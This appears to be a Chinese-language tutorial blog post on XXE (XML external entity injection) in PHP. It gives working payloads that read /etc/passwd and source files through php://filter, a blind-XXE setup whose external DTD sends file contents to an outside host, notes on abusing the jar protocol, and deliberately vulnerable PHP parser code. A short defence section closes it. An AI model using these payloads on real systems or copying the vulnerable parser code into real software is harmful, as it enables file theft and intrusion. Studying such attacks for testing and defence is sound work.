一、什么是xml

可扩展标记语言(英语:Extensible Markup Language,简称:XML)是一种标记语言。标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种信息的文章等。如何定义这些标记,既可以选择国际通用的标记语言,比如HTML,也可以使用像XML这样由相关人士自由决定的标记语言,这就是语言的可扩展性。XML是从标准通用标记语言(SGML)中简化修改出来的。它主要用到的有可扩展标记语言、可扩展样式语言(XSL)、XBRL和XPath等。 —–维基百科

它主要是用于传送和携带数据信息,存储信息,这和json类似,但是结构相较于json更加复杂,解析时间相对较长

二、什么是dtd

xml的文档类型定义,由元素,属性,实体,注释组成,可以看成是一个或者多个xml模版。而我们后面的xxe则主要发生在dtd中。

三、什么是xxe

xxe全称为外部实体注入。xml中为了实现在文档中进行动态引入,方便在引用资源中做的更改能在文档中进行更新,因此产生了外部实体。外部实体注入,则是将它引用的目标文件更改成恶意url地址,从而达到读取任意文件的目的,甚至rce。
实体分为参数实体和通用实体,参数实体在被定义后只能在dtd中引用,参数实体的定义类似% 实体名<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">。通用实体是在xml文档中被引用,引用方式是(&实体名),定义方式<!ENTITY file SYSTEM "file:///c:/windows/win.ini">

四、xxe漏洞理解

基本的xxe漏洞:
1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

这是一个可以读取passwd的xml。
当这个xml传入后端

1
2
3
4
5
6
7
8
<?php
$xml=file_get_contents("php://input");
libxml_disable_entity_loader(false);
$dom=new DOMDocument();
$dom->loadXML($xml,LIBXML_NOENT | LIBXML_DTDLOAD);
$result=simplexml_import_dom($dom);
print_r($result);
?>

经过php的xml解析器解析则会在浏览器中显示linux /etc/passwd中的文件内容了,通过此方法能读取任意文件,在读取时如果遇到类似<>等的特殊字符时会报xml解析错误,解决方法是使用php://filter/read=convert.base64-encode/resource=file:///var/www/html/index.php来对文件进行base64编码,当数据到达客户端时在解码,就可以拿到服务器上的数据了。

如果是java的后端服务器,并且可以使用jar协议,那么可能还会造成任意文件上传.

jar协议格式:jar:{url}!{文件}

jar协议处理过程:

(1) 下载 jar/zip 文件到临时文件中

(2) 提取出我们指定的文件

(3) 删除临时文件。

通过jar协议下载恶意的代码到服务器,然后通过jar包含不存在的文件进行报错,找到下载文件的临时备份文件。

blind xxe

xxe的盲注:
xxe盲注的思路:用参数实体获得服务器的文件,然后将文件用url传至ceye,来查看服务器的文件,在这个过程中将获取服务器文件的实体声明和发送文件的实体声明放在同一个文件中,则会报错,从而执行不成功。所以解决方法是,将上传服务器的实体声明放在一个xml文件中,然后通过xml中的实体声明访问dtd文件中发生至ceye的url。从而使文件内容随着url请求传入ceye。
xml.php

1
2
3
4
5
6
7
8
<?php
$xml=file_get_contents("php://input");
libxml_disable_entity_loader(false);
$dom=new DOMDocument();
$dom->loadXML($xml,LIBXML_NOENT | LIBXML_DTDLOAD);
$result=simplexml_import_dom($dom);
#print_r($result);
?>

xml.dtd

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip?p=%file;'>">

payload

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/a.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xml.dtd">
%remote
%all
]>
<root>&send;</root>

五、可能出现漏洞的点

xxe可能出现在任何通过xml传输数据的地方,也有可能存在json传输的地方(将http头改成Content-Type: application/xml,然后在数据域中输入xxe的payload则能测试xxe)。

六、xxe防御

通过libxml_disable_entity_loader(true);禁用php的外部实体。

黑名单过滤。

七、爬过的坑

在实验xxe盲注时,一直在报错,报错内容为
Entity: line 1: parser error : Invalid URI: http://ip.ceye.io/?p=aaaaaaa
在过了一天后,终于在一次尝试中成功了。
出问题的代码:<!ENTITY % file SYSTEM "file:///var/www/html/a.txt">
正确代码:<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/a.txt">

猜测可能是因为有隐藏的xml无法解析的字符。

本地实验代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$xml=<<<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<root>&file;</root>
EOF;
libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
#$b=simplexml_load_string($a);
#print_r($data);